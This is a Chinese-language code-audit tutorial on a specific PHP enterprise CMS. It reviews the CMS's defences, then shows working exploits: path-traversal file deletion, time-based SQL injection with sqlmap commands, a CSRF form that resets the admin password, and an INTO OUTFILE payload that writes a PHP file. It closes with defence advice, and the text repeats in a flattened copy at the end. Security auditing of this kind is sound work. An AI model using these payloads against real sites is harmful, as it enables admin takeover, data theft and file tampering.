PHP代码审计之入门实战
字数 1179 2025-08-18 11:39:15

PHP代码审计实战教学:新秀企业网站系统漏洞分析

系统概述

CMS名称:新秀企业网站系统PHP版
版本:1.0正式版
官网:www.sinsiu.com
下载地址:蓝奏云(官网最新版存在远程数据库安全隐患)
环境搭建:Windows下使用PHPStudy可直接安装

防护策略分析

1. 伪造IP注入防护

  • 防护代码include/function.php中的get_ip()函数
  • 关键防护
    if(!is_numeric(str_replace('.', '', $ip))) {
        $ip = '0.0.0.0';
    }
    
  • 效果:去除点后非数字则重置IP,有效防止IP伪造注入

2. 存储型XSS防护

  • 过滤机制
    • 使用post()函数接收用户输入
    • 应用strict过滤函数:
      function strict($str){
          $str = str_replace('<','&#60;',$str);
          $str = str_replace('>','&#62;',$str);
          // 其他危险字符替换...
          return $str;
      }
      
  • 效果:完全过滤XSS使用的尖括号等危险字符

3. CSRF防护

  • 密码修改验证:要求提供旧密码
    $use_password = md5($old_pwd);
    $obj->set_where('use_id = '.$global['user_id']);
    $obj->set_where("use_password = '$use_password'");
    
  • 效果:无旧密码无法修改,防止CSRF攻击

4. 变量全面过滤

  • session过滤set_session()使用strict模式
  • cookie过滤get_cookie()使用strict模式
  • 登录过滤:管理员和用户登录均经过严格过滤

漏洞分析

1. 后台任意文件删除漏洞

  • 漏洞文件admin/deal.php中的del_file()函数
  • 漏洞代码
    $dir[0] = 'data/backup/';
    $dir[1] = 'images/';
    $dir[2] = 'resource/';
    
    if(substr($path,0,strlen($dir[$i])) == $dir[$i]) {
        $flag = true;
    }
    
  • 漏洞原因:仅检查路径开头,未防止目录穿越
  • 利用方式
    POST /admin.php?/deal/
    cmd=del_file&path=images/../1.php
    

2. 后台数字型盲注

  • 漏洞文件admin/module/basic/deal.php中的del_admin()
  • 漏洞代码
    $adm_id = post('id');
    $obj->set_where("adm_id = $adm_id");
    
  • 漏洞类型:时间型盲注
  • 手工验证
    cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0)
    
  • SQLMap利用
    sqlmap -u "http://target/admin.php?/deal/dir-basic/" --data="cmd=del_admin&id=3" -p "id" --technique=T --tamper="between"
    

3. 管理员CSRF漏洞

  • 漏洞文件
    • admin/module/basic/deal.php中的edit_admin()
    • add_admin()
  • 漏洞原因
    • 修改密码无需验证旧密码
    • 无Token防护
  • 利用POC
    <form action="http://target/admin.php?/basic/index.html" method="POST">
      <input type="hidden" name="cmd" value="edit_admin" />
      <input type="hidden" name="adm_id" value="1" />
      <input type="hidden" name="adm_password" value="Passw0rd" />
      <input type="hidden" name="re_password" value="Passw0rd" />
    </form>
    <script>document.forms[0].submit();</script>
    

4. 前台搜索盲注漏洞

  • 漏洞文件index/module/search_main.php
  • 漏洞代码
    $global['key'] = rawurldecode($global['key']);
    $obj->set_where("goo_title like '%" . $global['key'] . "%'");
    
  • 利用方式
    http://target/?/search/index.html/key-%27%20and%20sleep(2)%20%23/
    
  • SQLMap利用
    sqlmap -u "http://target/?/search/index.html/key-%27*%20%23/" --technique=T
    

5. 理论文件写入漏洞

  • 前提条件
    • MySQL配置secure_file_priv无限制
    • 已知网站物理路径(通过错误信息泄露)
  • 利用方式
    http://target/?/search/index.html/key-%27union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\path\\gg.php'%20%23/
    

审计技巧总结

  1. 关注用户输入点:如IP获取、搜索功能、文件操作等
  2. 检查过滤完整性:特别是数字型参数是否被严格过滤
  3. 验证防护机制:如CSRF Token、操作验证等
  4. 注意路径处理:文件操作函数是否可能被绕过
  5. 利用错误信息:获取系统路径等关键信息
  6. 组合漏洞利用:如CSRF+盲注实现更深入攻击

防御建议

  1. 对所有用户输入进行严格过滤,包括数字型参数
  2. 文件操作使用绝对路径检查,防止目录穿越
  3. 关键操作添加CSRF Token防护
  4. 生产环境关闭错误显示,防止信息泄露
  5. 使用预处理语句防止SQL注入
  6. 最小化MySQL文件操作权限
PHP代码审计实战教学:新秀企业网站系统漏洞分析 系统概述 CMS名称 :新秀企业网站系统PHP版 版本 :1.0正式版 官网 :www.sinsiu.com 下载地址 :蓝奏云(官网最新版存在远程数据库安全隐患) 环境搭建 :Windows下使用PHPStudy可直接安装 防护策略分析 1. 伪造IP注入防护 防护代码 : include/function.php 中的 get_ip() 函数 关键防护 : 效果 :去除点后非数字则重置IP,有效防止IP伪造注入 2. 存储型XSS防护 过滤机制 : 使用 post() 函数接收用户输入 应用 strict 过滤函数: 效果 :完全过滤XSS使用的尖括号等危险字符 3. CSRF防护 密码修改验证 :要求提供旧密码 效果 :无旧密码无法修改,防止CSRF攻击 4. 变量全面过滤 session过滤 : set_session() 使用strict模式 cookie过滤 : get_cookie() 使用strict模式 登录过滤 :管理员和用户登录均经过严格过滤 漏洞分析 1. 后台任意文件删除漏洞 漏洞文件 : admin/deal.php 中的 del_file() 函数 漏洞代码 : 漏洞原因 :仅检查路径开头,未防止目录穿越 利用方式 : 2. 后台数字型盲注 漏洞文件 : admin/module/basic/deal.php 中的 del_admin() 漏洞代码 : 漏洞类型 :时间型盲注 手工验证 : SQLMap利用 : 3. 管理员CSRF漏洞 漏洞文件 : admin/module/basic/deal.php 中的 edit_admin() add_admin() 漏洞原因 : 修改密码无需验证旧密码 无Token防护 利用POC : 4. 前台搜索盲注漏洞 漏洞文件 : index/module/search_main.php 漏洞代码 : 利用方式 : SQLMap利用 : 5. 理论文件写入漏洞 前提条件 : MySQL配置 secure_file_priv 无限制 已知网站物理路径(通过错误信息泄露) 利用方式 : 审计技巧总结 关注用户输入点 :如IP获取、搜索功能、文件操作等 检查过滤完整性 :特别是数字型参数是否被严格过滤 验证防护机制 :如CSRF Token、操作验证等 注意路径处理 :文件操作函数是否可能被绕过 利用错误信息 :获取系统路径等关键信息 组合漏洞利用 :如CSRF+盲注实现更深入攻击 防御建议 对所有用户输入进行严格过滤,包括数字型参数 文件操作使用绝对路径检查,防止目录穿越 关键操作添加CSRF Token防护 生产环境关闭错误显示,防止信息泄露 使用预处理语句防止SQL注入 最小化MySQL文件操作权限